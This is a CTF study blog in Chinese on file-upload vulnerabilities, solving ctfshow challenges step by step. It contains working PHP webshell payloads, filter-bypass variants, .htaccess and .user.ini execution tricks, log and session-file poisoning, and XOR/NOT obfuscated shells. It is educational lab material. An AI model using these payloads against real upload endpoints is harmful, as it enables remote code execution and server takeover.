Web做题笔记之文件上传喵~
[TOC]
嗯,好的,事情是这样的➡_➡,Gloria在做ISCTF2024的时候,发现我这个傻篮子居然不会文件上传….ε(┬┬﹏┬┬)3,所以来补文件上传来了…
我们先来了解一下常规解题步骤
侦察—绕过—利用
侦察与测试(Reconnaissance)
1.首先要判断服务器环境
操作:
观察URL后缀(如.php、.jsp等)或者查看HTTP响应头(Server字段)
●如果是php+Apache➡尝试.haccess攻击
●如果是Nginx➡可能存在解析漏洞
●如果是Windows服务器➡文件名大小写通常不敏感,可以尝试大小写绕过等
2.然后上传一张合法的jpg或者png图片
这里我们需要注意考虑:
1)文件是否被改名?如果改名了,我们需要猜测正确的名字
2)文件存放在哪里了?如果不知道路径,上传了webshell也没用(
绕过防御(Bypass)
1.绕过前端(客户端)检测
现象:
我们选择了一个.php文件,点击上传,还没抓到包就提示只允许上传图片
操作:
1)将文件修改后缀为.jpg或者.png,点击上传
2)在bp中拦截请求,将.jpg改为.php然后放行
原因:
前端代码(JavaScript)是在用户的浏览器里运行。通过抓包,我们可以绕过任何前端限制
2.绕过MIME Type检测
现象:
前端过了,但是服务器返回文件类型不正确
操作:
在bp中,找到Content-Tpye字段,将Content-Type:application/octet-stream(脚本文件的默认类型)修改为Content-Type:image/jpeg或者image/png
原因:
很多后端代码只检查HTTP头部的Content-Type,而这个字段完全可控
3.绕过文件后缀黑名单
现象:服务器提示“不能上传 .php 文件”。这说明它有一个“黑名单”。
操作:尝试 PHP 的其他变体后缀
大小写绕过:shell.pHp
替代后缀:shell.php3、shell.phtml、shell.php5、.phar、.php8等
空格/点绕过(Windows特有):shell.php(末尾加空格)、shell.php.
注:这里使用大小写绕过,以及使用.php3等做后缀,经常会被认为是静态文件,无法被蚁剑连接
4.绕过文件头检查(Magic Bytes)
现象:后缀和 MIME 都改了,还是被拦截,提示“不是有效的图片文件”。 操作:在你的 Webshell 代码最前面,加上图片的文件头
如GIF89a图片头
payload:
1 | GIF89a |
原因:
服务器可能是使用了getmagesize()等函数去读取文件的前几个字节(幻数),判断它是不是真的图片
5.针对某些特殊的服务器
现象:
黑名单非常严格,几乎封死了所有带ph的后缀,只允许上传.jpg,而且服务器为Apache或者Nginx,而且允许上传配置文件。
操作:(以Apache为例)
先上传一个名为.haccess的文件,内容如下
1 | AddType application/x-httpd-php .jpg |
意思是告诉服务器:把所有的.jpg文件都当作php代码来执行
然后再上传一个写有恶意代码的shell.jpg
1 | @eval($_POST['cmd']); //@用于抑制报错,增加隐蔽性,或者把eval改为assert |
利用(exploitation)
1.寻找webshell路径
上传成功会返回路径,如uploads/768786351.php
2.连接webshell
使用蚁剑或者直接在浏览器上利用
ok,我们来看题➡_➡
1.0 ctfshow-文件上传1
步骤:
1)先试了一遍后缀,发现只有.png才能上传。
题目说前台校检不可靠,这意味着检查文件后缀是不是.png是写在JavaScript里的,运行在浏览器上,服务端可能没有进行严格的检查。
所以我们在本地把马伪装成图片,骗过浏览器的检查,然后在数据包发送给服务器的半路上(使用 Burp Suite),把后缀改回 .php
2)发现上传成功,并且路径是upload/shell.php,直接用蚁剑连接
(这里有个很值得注意的点:如果出现这种报错,他的意思是无法验证叶子签名。简单来说,是因为题目环境使用的是 HTTPS 协议,但是它的 SSL 证书是自签名的或者不被信任的(CTF 题目环境经常这样)。蚁剑出于安全考虑,默认拒绝连接这种“不安全”的 HTTPS 链接,所以报错了)
他的解决办法就是:
●把https://改为http://
●或者因为使用蚁剑本质上也是帮你发包,我们也可以使用bp手动发
1.首先,修改第一行的请求方法和路径:POST /upload/shell.php HTTP/1.1
2.修改Content-Type 头:因为我们要发送 POST 数据,需要告诉服务器格式: Content-Type: application/x-www-form-urlencoded
3.确保Host 头是题目域名的地址
4.在请求体的最后(空一行之后),输入你的 Payload: cmd=system('cat /flag'); (注意:因为你的马是 eval,所以这里要写完整的 PHP 命令。如果是 cat /flag 没结果,可以试试 ls / 查看根目录文件)
5.点击send,查看response
●如果觉得bp发包太麻烦,想直接在浏览器地址里敲命令,可以重新上传一个GET型的木马
shell.php修改为
1 | system($_GET['c']); |
然后抓包,修改后缀,上传成功后,直接在URL中访问:http://题目地址/upload/shell.php?c=cat /flag (这样就不用蚁剑,也不用处理 HTTPS 证书问题了)
但是叭,你有可能碰到什么呢?有的题目会在根目录中放一个定时清理装置,如果你上传的GET型的shell有很大可能是得不到flag的。。。(别问Gloria是怎么知道的,问就是吃过一次亏了QAQ
3)这里用蚁剑成功连接,我们挨个查找目录就可以,得到flag,哦耶[]( ̄▽ ̄)*
2.0 ctfshow-文件上传2
步骤:
他说后端校检,指的应该是服务端校检,这道题跟上道题很像,只不过一个后端一个前端,这道题更多地考察MIME绕过,使用上一题的马完全可以。所以不细说步骤了
就是一个抓包➡修改filename➡send➡蚁剑连接查找flag
最后是在html中找到的flag,flag不一定在根目录
3.0 ctfshow-文件上传3
步骤:
1)还是考察的后端校检,我最初还是上传的第一道题目的小马,然后send之后发现不对,所以把.php后缀改为了.pHp(使用了大小写绕过),我发现成功了,然后使用蚁剑连接的时候,发现出现了报错
这个报错是什么意思呢,Nginx 的配置文件里,通常规定只有后缀名为 .php (全小写)的文件,才会被发送给 PHP 解释器去执行。
对于 .pHp,Nginx 把它当作了一个普通的静态文本文件(就像 .txt 或 .jpg 一样)。
静态文件是不允许被 POST (蚁剑连接时使用的方法) 的,所以服务器给你返回了 405 错误。即使你用浏览器直接访问,看到的可能也是源码,而不是执行后的结果。
总结一下:大小写绕过 (.pHp) 在 Linux/Nginx 环境下通常是“死路”。虽然能上传,但无法执行。
2)所以,我有尝试了.phtml、.php5以及.php3这三个后缀(因为很多服务器配置为了兼容性,会允许以下后缀被当作 PHP 执行)
嗯对,然后,啊对,就是你,还是这个红色的报错(╯▔皿▔)╯
我跟你爆了
3)所以,我们换条思路根据Nginx/Apache + PHP (CGI/FastCGI模式)服务器的特性,我们选择上传.user.ini文件加上shell.png的处理方式
在 Nginx + PHP 的环境里,有一个强大的配置文件叫 .user.ini。 它的作用是:可以在不修改服务器核心配置的情况下,改变当前目录下的 PHP 运行规则
我们需要利用 auto_prepend_file 这个设置,它的意思是:“在执行当前目录下的任何 PHP 文件之前,先把指定的文件包含进来执行。”
因为前端卡的特别死,只允许上传.png。所以我们先上传.png再抓包修改为.user.ini,再send回去。
(这里要注意一点,有些服务器解析 .ini 文件时,要求配置项后面必须有一个换行符。如果 shell.png 后面紧贴着 boundary,PHP 可能会把它解析成 shell.png------webkitboundary,导致找不到文件,所以最好多按一个回车)
然后再上传shell.png
4)然后该用蚁剑连接了,连接的时候的URL应填写为http://题目地址/upload(因为user.ini是将当前目录下的shell.png当作.php来执行)
测试链接,成功,在html下面找到了flag
ok,先到这里,Gloria去上晚自习了呜呜呜┭┮﹏┭┮
4.0 ctfshow-文件上传4
题目说,不能单二校检,这道题跟上一道很像,依旧nginx环境(哦,有点小懒,没截图 ( ̄y▽, ̄)╭
🤔单二校检,说的应该是只允许.png后缀,还有Content-Type。那么这里应该还有别的,先看看再说。
步骤:
1)浅浅尝试了一个shell.png,但里面是<?php @eval($_POST['cmd']); ?>,提示内容违规
其实已经出来了,这应该就是第三个要绕过的地方,即它ban掉了<?php。
那直接使用短标签就好。
payload修改为<?= eval($_POST['cmd']); ?>
2)后面的步骤跟第三道一样,
上传.user.ini➡
上传shell.png➡
蚁剑连接http://题目地址/upload/
得到flag
5.0 ctfshow-文件上传6
文件上传5跟4完全一样,不多赘述,来看6
提示不能单4校检,说明除了上面提到的,还有其他被ban掉的,往下看
步骤:
依旧nginx服务器,继续使用.user.ini+小马的组合
简单尝试了一下<?= eval($_POST['cmd']); ?>,提示文件类型不合规,🤔,那么只能猜测,他在ban掉了php的同时,还ban掉了[
解决办法也很简单,把[]改为{}
所以payload为<?= @eval($_POST{'cmd'}); ?>,其余步骤同上(都是重复的,不贴图了)
注:这里如果正常的图片上传不上,显示文件类型错误,自己新建一个空白.txt修改后缀成.png就行
6.0 ctfshow-文件上传7
提示后端不能单五校验,又多了一层,我们且做且看
步骤:
还是先做尝试,把进阶了不知道几版的<?= @eval($_POST{'cmd'}); ?>传上去,发现又提示文件类型错误
好吧,我知道,你又要开始闹了 ╮(╯-╰)╭
那还说啥了,我直接上反引号,简直就是绕过的神!
尝试payload为<?= `tac ../flag*` ?>
注:你上传的文件在 /var/www/html/upload/ 目录下,一般没有flag,所以尝试去上一级html里面去查找,所以payload为../flag*
正常传入.user.ini和shell.png,然后访问url+/upload/index.php即可
注:这里这么访问的原因是:访问index.php的时候,php引擎启动,看了一眼目录,发现了.user.ini,所以按照.user.ini,将shell.png里的恶意代码执行了
其实直接访问upload/也可以,但是访问upload/index.php可以确保php引擎一定被触发,因为.user.ini 是 PHP 的配置文件,它只有在 PHP 引擎启动并解析 PHP 文件时才会被读取(前提是index.php存在,但是一般都存在
得到flag
7.0 ctfshow-文件上传10
文件上传8、9和7一个套路,不多赘述
日常上传paylaod:<?= `tac ../flag*`?>,显示文件类型不合规➡_➡,那说明,他居然把反引号给ban掉了,可恶
这么变态?我喜欢😍
步骤:
话不多说,先测试一下。发现其过滤了空格、反引号、[]、{}、;,()等,最重要的是➡发现他ban掉了log,但是它没ban引号。
🤔,那说明这道题应该是考察日志包含了(详见做题日记之命令执行)。
现在:
1)直接写shell❌(没有括号、反引号)
2)直接在.user.ini里写/var/log/nginx/access.log❌(log被ban了,INI不支持拼接绕过)
🤔,所以,既然考日志包含,那肯定要引入access.log执行它里面的马,那怎引入access.log呢?我们考虑通过shell.png包含access.log,那怎么引入shell.png呢?通过.user.ini引入shell.png刚刚好。
思路已经很清晰了➡_➡
1.先向日志中写入马
bp抓包,修改User-Agent
2.日常上传.user.ini
3.上传shell.png
我们需要在这个文件中写PHP代码去包含日志。
这里因为ban掉了括号和空格一系列的符号,所以使用include刚刚好;
然后因为ban掉了log,所以我们使用.来进行字符串拼接
Payload:
1 | include"/var/lo"."g/nginx/access.lo"."g" |
4.现在万事俱备,就差使用蚁剑连接http://题目地址/upload/index.php了[]( ̄▽ ̄)*
得到flag
8.0 ctfshow-文件上传11
好家伙,日志包含的进阶版…
步骤:
日常上传空白1.png 图片ing…
结果发现➡_➡
🤔,那我们尝试一下给它加个GIF89a试试?
有可能是后端加入了getimagesize 检测,它不相信文件名写的 .png,它只相信文件内容的开头。
但是因为png的幻数是89 50 4E 47 0D 0A 1A 0A,jpg的幻数是FF D8 FF ...,这两个在编辑器里很难打出来,非常容易乱码或被截断。
只有gif的幻数是47 49 46 38 39 61,对应的ASCII是GIF89a,只有简单的字母和数字,不会乱码
我一开始是在记事本直接编辑1.png,想给它加上一个GIF89a的文件头,但是在上传的时候,发现居然还是显示文件类型不合规
???你礼貌吗(
然后问ai了,得知:在 Windows 记事本中,默认保存的 UTF-8 编码文件,往往会在文件的最开头自动添加 3 个不可见的字节:EF BB BF,因此服务器在检测的时候,看到的是GIF89a (对应的十六进制是 EF BB BF 47 49 46 ...),所以给我拦截了。
刑-_-b
那我们只能自己在bp里面手搓文件头
步骤就是:随便上传一个.png,在bp中拦截,然后在body里面把所有内容删掉自己手动输入GIF89a(我这里直接把.user.ini 传好了)
同样shell.png
然后就是最重要的向日志里投毒
我们随便访问,比如https://你的地址/upload/index.php,然后抓包,修改User-Agent,然后访问https://你的地址/upload/index.php即可
这里我一开始尝试的是<?php echo `tac /f*`; ?>,但是发现访问之后只有日志内容,没有flag,说明我的payload可能被过滤了,所以我换成了User-Agent: <?php @eval($_POST['cmd']); ?>
然后使用蚁剑连接,发现成功了
系统说一下绕过
一般绕过
| 过滤 | 绕过 |
|---|---|
| 过滤<?php | <?= @eval($_POST['cmd']); ?>(php用=替代,需要short_open_tag=On,但一般都是开着的)<script language="php">eval($_POST['cmd']);</script>(长标签绕过,适用PHP 7.0以前)<% eval($_POST['cmd']); %>(ASP风格标签,需要asp_tags=On,但很少见) |
| 过滤[] | <?php @eval($_POST{'cmd'}); ?>(用{}替代)<?php eval(current($_POST)); ?>(数组指针函数,使用current(),pos(),next()直接取数组的值,不用下标)<?php eval(end($_POST)); ?>(取数组最后一个值) |
| 过滤; | <?php system('$_POST['cmd']) ?>(利用闭合标签,PHP代码块的最后一句话可以省略分号)<?php if(1){system('ls');} ?>(把分号换成花括号逻辑) |
| 过滤eval/system等关键字 | <?php assert($_POST['cmd']); ?>(先看看assert有没有被ban掉,assert等效于eval,适用PHP7.1之前)<?php SyStem('ls'); ?>(大小写绕过试一下,php函数名不区分大小写)<?php $a="sys"."tem";$a('ls'); ?>(字符串拼接)<?php ("sy"."stem")('ls'); ?>(动态函数调用,直接把拼好的字符串当函数使用,PHP7+)<?php `cat /flag` ?>(使用反引号,反引号会自动调用shell命令)<?php $a=base64_decode("c3lzdGVt"); $a("ls"); ?>(使用编码绕过,c3lzdGVt是system的base64编码) |
| 过滤flag | <?php system(cat /fl*); ?><?php system(cp /fl* 1.txt); ?>(即把flag复制成1.txt,然后访问upload/1.txt即可) |
| 过滤() | <?php `cat /flag` ?>(反引号真是个好东西吧我说➡_➡)<?php include "/etc/passwd"; ?>(include和require是语言结构,不是函数,不需要括号) |
| 过滤引号‘或者“ | <?= system(ls); ?>(常量误用,PHP会先找名为ls的常量,找不到会当成字符串’ls’处理,有警告但是能跑)<? `cat /flag` ?>(我只能说➡_➡,反引号,绕过的神!)<?= eval(array_pop($_POST)); ?>(利用POST传参,直接取POST数组里的值执行,代码中不出现字符串,使用蚁剑连接,密码随便填一个)<?= system($_GET[c]); ?>(URL传参c=ls,数组下标c没加引号,常量误用原理) |
okk,所以,如果你碰到了可恶出题人的变态绕过,把字母和数字全部ban掉了,我们该怎么办捏?➡_➡
当然是点一点右上角绿色小福袋啦
这时候的指向性就很明确了,我们就考虑异或和取反之类的究极绕过( ̄︶ ̄)↗
先来了解,什么是异或和取反?
异或和取反是常用的绕过WAF或代码关键字过滤的技巧,被称为”无字母数字Webshell“。
简单来说,就是利用PHP的运算规则,用一堆乱码(符号),算出assert或者system这些关键字
核心原理:PHP弱类型特性
在PHP中,两个字符串之间可以进行位运算。PHP会将字符串里的每个字符转换成ASCII码,然后进行二进制运算,最后把结果再转回字符。
公式:字符A运算字符B=目标字符C
因为我们想要的是C,但是C被过滤了,所以我们只需要找到不在黑名单里的A和B(通常是标点符号),让他们进行运算,得到C即可
异或(XOR)绕过
符号:^
什么是异或?
二进制运算中:
0^0 = 0
1^1 = 0
1^0 = 1
0^1 = 1(通俗理解,相同为0,不同为1)
如何构造?
假设要构造字母A(ASCII为65),我们需要找到两个非字母数字的字符,让他们的二进制异或结果等于65
1 | 00111111 (?) |
01000001对应的十进制是65,也就是A
payload样子
我们假设要拼出assert,可能会变成这样一堆符号:
1 |
|
WAF根本看不出来哪有问题好吧 ||ヽ( ̄▽ ̄)ノミ|Ю
但PHP执行的是assert($_POST['cmd']);
取反(Bitwise NOT)绕过
符号:~
什么是取反?
把二进制中的0变成1,1变成0
如何构造?
原理:对一个字符串取反,会得到一串乱码(通常为不可打印字符),那么对这串乱码再次取反,就可以变回原来的字符串
假设我们需要system:
先在本地PHP跑一下echo urlencode(~'system');
得到结果:%8C%86%8C%8B%9A%92(一串看不懂的十六进制)
payload样子
我们将这串乱码放入webshell,让php运行时再把他们返回来
1 |
|
为了更加精简,一般写成
1 | (~%8C%86%8C%8B%9A%92)(cat /flag); //这里利用了动态函数执行特性 |
另附生成异或payload脚本一份~
1 |
|
思路补充喵(❁´◡`❁)
拿到题目,肯定先考虑绕过,但是一旦发现反引号都被ban掉,这时候我们就去就考虑一下日志包含,但是如果日志包含都不行的话,我们就要将思路从执行系统命令(RCE)转向文件包含(LFI)和文件操作。
方法一:Session会话包含(Session Inclusion)
日志包含被ban了就选它!(emmm…怎么这么像搞促销的
原理:
PHP会把用户的会话数据(Session)保存在服务器的临时目录下面,,通常是/tmp/或者/var/lib/php/sessions/,文件名通常是sess_你的PHPSESSID。如果你能控制session的内容(比如通过登录、传参),就连可以把马写进这个文件,然后利用漏洞去include它
条件:
1.首先要知道session文件的储存路径(通常可以通过phpinfo()查看session.save_path,CTF中一般默认为/tmp)
注:session.save_path是PHP配置文件(php.ini)中的一个设置,用来指定Session文件再服务器硬盘上保存的文件夹路径,一般默认为/tmp或者/var/lib/php/sessions
2.session内容可控(利用PHP_SESSION_UPLOAD_PROGRESS传参)
攻击步骤:文件包含 (LFI) + 条件竞争 (Race Condition)
1.上传.user.ini
内容为:
1 | auto_prepend_file=tmp/sess_ctfshow |
注:这里的ctfshow是我们可以自定义的Session ID,方便我们要包含的文件名
2.攻击(python脚本)
脚本会做两件事:
1)线程A(写入):疯狂往服务器发包上传文件,并在POST数据中带上shell,PHP会把这些代码写入/tmp/sess_ctfshow
2)线程B(触发):疯狂访问index.php,一旦.user.ini生效且session文件还没被删除,木马就会被执行
(需要安装requests库:pip install requests)
1 | import requests |
(注:如果运气好,几秒钟就可以得到flag;运气不好,可能需要几十秒;如果时间过久,那可能是payload被过滤了或者.user.ini没传好)
下面我们来详细解释一下:
1.PHP_SESSION_UPLOAD_PROGRESS:
这是PHP的一个内置功能,用来在文件上传过程中,实时监视上传进度。
当浏览器向服务器上传文件的时候,如果POST请求中包含一个名为PHP_SESSION_UPLOAD_PROGRESS的字段➡
php就会自动在服务器的Session文件中建立一组数据,记录已上传了多少字节、总共有多少字节等信息,并且把你在这个字段里填入的内容(你的shell)写入道session文件里面(这不就方便我们include session了嘛( ̄▽ ̄)*)➡
这样,前端JavaScript就可以不断查询这个Session,从而画出进度条
2.session_start():
这是一个PHP函数,用来告诉PHP现在开始使用Session,通常在代码里必须调用它,Session机制才会启动,session文件才会被读取或创建
但是session.upload_progress是一个PHP引擎级别的特性,也就是说,只要发送了文件上传请求并带上了暗号(上面的PHP_SESSION_UPLOAD_PROGRESS),PHP引擎会在执行任何PHP代码之前,自动创建并写入Session文件
所以,根本不需要题目源码里写入session_start(),上传过程本身就会强制开启Session
3.session.upload_progress.cleanup:
这是一个配置选项(默认为On),意思是:当文件上传完成之后,立即清除Session中的进度信息
它的存在就是我们为什么要使用条件竞争的原因:因为PHP在文件上传结束的那一毫秒,就会把我们在Session文件里写的木马给删掉
方法二:PHP伪协议(Wrappers)
好久不见喵(。・∀・)ノ゙嗨(详见做题日记之命令执行)
(因为Gloira觉得一般出题人不会将flag写为普通文本,一般都是php文件且里面有变量,所以直接考虑伪协议,emmm是普通文本也没关系啊,直接include包含就可以了➡_➡,比如<?=include"/flag"?>或者<?=include"../flag.php"?>)
1.php://filter(读取源码)
Payload:
1 | include"php://filter/read=convert.base64-encode/resource=flag.php" |
(注:如果过滤了引号,会比较难构造,需要考虑使用$_GET传参)
2.php://input(远程代码执行)
如果allow_url_include=On(较为少见,但要检查),可以通过POST发送php代码,然后include它
payload:
1 | include"php://input" |
然后在body中写:<?php system('ls'); ?>
方法三:利用其它临时文件(/proc/self/environ)
emmm……Gloria觉得类似日志包含➡_➡
原理:
在Linux系统中,/proc/self/environ文件并包含了当前进程的环境变量,其中通常包含User-Agent。如果/var/log/nginx/access.log无法读取,我们可以尝试包含/proc/self/environ
这样的话,如果我们把User-Agent修改为恶意代码,那么/proc/self/environ里面就会存在PHP代码,只要我们include它,代码就会执行
攻击步骤:
1.先测试权限
依旧使用.user.ini+shell.png尝试包含或者读取该文件
shell.png里面写入payload:
1 | include"/proc/self/environ" |
或者是GET参数包含?file=../../../../proc/self/environ
注:这里通常需要web用户有读取/proc的权限,旧系统常见,新系统较少
2.观察回显:
成功:页面上乱糟糟地打印出了一大堆类似 PATH=/usr/bin... HTTP_USER_AGENT=Mozilla/5.0... 的文字,说明可以利用
失败:如果你看到空白,或者 Permission denied,或者 open_basedir restriction in effect,说明服务器配置了权限限制,此路不通,只能换 Log 包含或 Session 包含
3.注入payload
如果成功了,我们就bp抓包,修改user-Agent,比如
1 | <?php eval($_POST[cmd]);?> |
发送即可
写不动了…明天再贴新题喵(❁´◡`❁)
Leave a comment